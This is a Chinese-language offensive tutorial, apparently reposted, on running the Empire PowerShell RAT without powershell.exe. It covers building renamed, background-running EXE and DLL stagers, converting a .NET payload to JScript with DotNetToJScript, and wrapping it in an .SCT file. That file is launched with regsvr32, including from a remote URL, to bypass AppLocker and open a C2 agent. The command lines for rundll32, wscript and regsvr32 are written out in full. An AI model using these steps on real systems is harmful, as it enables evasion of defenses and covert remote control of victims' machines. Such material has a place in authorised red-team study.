無 PowerShell.exe 執行 Empire 的幾種姿勢


在實戰中,Empire成為域滲透、后滲透階段一大利器,而Empire是一個Powershell RAT,所以PowerShell必須要能運行Empire中幾乎所有的啟動方法都依賴於使用PowerShell.exe的功能。但是如果在無法調用powershell.exe環境下(客戶端已經使用AppLocker阻止了Powershell.exe運行)利用empire就需要一些技巧和方法了。

 


 

 

 

powershell.exe進程只是為System.Management.Automation.dll的實現提供了一個DLL Host。而它的核心,實際上就是System.Management.Automation.dll,這也是PowerShell的真實身份。此外,還有其他本地Windows進程同樣也作為PowerShellHost,比如powershell_ise.exe

 

 


 

然而,我們也可以創建自己的進程來為System.Management.Automation.dll提供Host。目前已經有一些開源項目實現了這一點,例如

UnmanagedPowerShell,(https://github.com/leechristensen/UnmanagedPowerShell)、SharpPick(https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick/SharpPick)、PSAttack(https://github.com/jaredhaight/PSAttack)以及nps(https://github.com/Ben0xA/nps)。

 

 

 

當然,使用PowerShell的優勢之一在於,PowerShell.exe是經過微軟簽名的二進制文件,會被應用程序加入白名單,方便我們的使用。而自己創建的進程則不會被應用程序所信任,但是通過這樣的方式,可以在powershell.exe被禁用的情況下執行PowerShell

 

 

環境: kali linux 192.168.190.141(攻擊機)

     Windows 8 192.168.190.149 (靶機)

 

 

0x01 構建Empire.exe

 

 

用到的工具SharpPick (https://github.com/PowerShellEmpire/PowerTools)

 Visual Studio打開下載好的PowerPick項目,不過我用的是vs2012,2010/2012的好處在於,它帶有越來越難找到的舊的.NET庫。

 

 

首先,你需要混淆一些項目屬性。改變程序和程序集信息的名稱。可以通過菜單“項目-SharpPick 屬性”來做到。確保修改“輸出類型”為“Windows應用程序”,以便當你雙擊運行或者從CLI執行后,它能在后台運行。

 

 

點擊“程序集信息”按鈕,並修改屬性。

 

 

 

現在你還要將Program.cs中的代碼修改如下

 

 

 

 

字符串“stager”只包含base64編碼的Empire啟動器的信息。比如我把empire生成powershellbase64作為遞給RunPS()函數的參數(base64解碼后),該函數將PowerShell命令發送給System.Management.Automation,這里是PowerShell的魅力所在。將直接進入Windows核心。

 

 

 

 

 

現在在菜單中選擇“生成-生成解決方案”或者點擊“F6”。生成的二進制文件位於

PowerPick\bin\x86\Debug

 

 

 

你可能會遇到關於ReflectivePick不能生成的錯誤。你能選擇菜單“生成-配置管理器”,並從“項目上下文”中去除“ReflectivePick”。因為我們不需要它。

 

 

雙擊可執行文件來測試下二進制文件,或者在CLI中運行測試。在你啟動或執行后它應該是運行於后台的。

 

 

 

 

 

 

 

0x02 構建Empire.dll

https://github.com/johnjohnsp1/AllTheThings

 

 

就像EXE一樣,打開項目並改變這些屬性。在項目屬性中需要更改的其他重要事項是“輸出類型”,它需要更改為 “類庫”。你也應該將“啟動對象”設置為下拉菜單中的默認值(基於你的命名空間和類名稱)。

 

 

 

 

接下來,安裝Visual Studio的nuget包管理器。一旦安裝完成,你需要通過運行以下命令來獲取依賴關系“UnmanagedExports”:

 

 

接下來,打開“Program.cs”,並更改你的代碼看起來像下面這樣,除了幾個“using”語句未顯示,但大部分都包含在gist中:

 

如果出現這樣的顯示引用錯誤的情況,我們需要在項目里自己添加引用

 

 

 

 

再次去“構建 – >構建解決方案”或點擊“F6”,你應該在你的構建目錄中會生成一個LegitLibrary.dll(和上面一樣)。

通過運行以下步驟來測試新的DLL

rundll32.exe LegitLibrary.dll,EntryPoint

這應該會返回一個新的代理到你的EmpireC2。如果你查看Process Explorer,你將看到rundll32作為一個新的進程運行。

 

 

0x03構建Empire.sct

這種方式可能是最復雜的,因為它涉及到一些比較繁瑣的步驟。最終結果基本上是這樣的:將PowerShell轉換成.NET應用程序,將該.NET應用程序轉換為一個javascript文件中的base64編碼的二進制文件,然后將其填充到.SCT中。你可以使用regsvr32調用該腳本,該腳本可以執行在你的Web /文件服務器上存放的.SCT的JavaScript代碼。

我們的目標是Empire.exe有效載荷,但是要轉換為base64。項目選項應該與你為Empire.exe所做的相同,換句話說就是“Windows應用程序”。代碼有點不一樣,因為JavaScript需要一些公共方法來實現和執行我們的代碼。

 

 

 

 

 

 

解決方法:

需要添加引用NDesk.Options

下載地址:

http://www.ndesk.org/Options

解壓縮,工程-添加引用-瀏覽-NDesk.Options.dll

重新編譯

構建后,去目錄找到你生成的二進制,它應該是一個exe。

接下來,去下載DotNetToJScript  並在Visual Studio中打開該項目,將其.NET目標更改為“.NET 3.5”(或2.0)項目選項並編譯(構建)它。一旦構建,找到DotNetToJScript.exe和它的配套NDesk.Options.dll,並將它們放在與LegitScript.exe二進制文件相同的位置。

運行以下命令(-c是入口點,更改為你選擇的namespace.class):

. DotNetToJScript.exe -c = LegitScript.Program -o = legitscript.js legalscript.exe

這應該會輸出一個legalscript.js。DotNetToJScript輸出有其他幾種語言,包括用於嵌入Office文檔的VBA和VBScript,或者你可能需要的其他東西。

你可以通過運行以下步驟進行下一步的測試:

wscript.exe legalscript.js

執行后應該會在后台啟動一個新的代理工作站。它將作為進程監視器中的“wscript”運行。

如果你已經確認這正常的工作了,那么現在是把它包裝成一個.sct,所以我們可以用regsvr32.exe來調用它。

legalscript.js的全部內容放入CDATA標簽。你可以使用以下方式獲取Empire中的XML格式:

Empire:usestager windows / launcher_sct

設置無關緊要,但你可以將其設置為監聽器,並確保“OutFile”設置為null或“”空值,因為這將打印內容並進行屏幕顯示。如果你從Empire獲取內容,請從CDATA標簽中刪除所有內容,並將其替換為legalscript.js。

 

保存為2legit.sct並進行測試:

regsvr32 / s / n / u /i:2legit.sct scrobj.dll

這會再次返回一個新的代理。你可以將該.sct保存到你的網絡或文件服務器,並用“/i:https ://example.com/2legit.sct””遠程替換“/i:” 。這是一個AppLocker繞過方式,因為regsvr32.exe是Microsoft簽名的二進制文件。

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM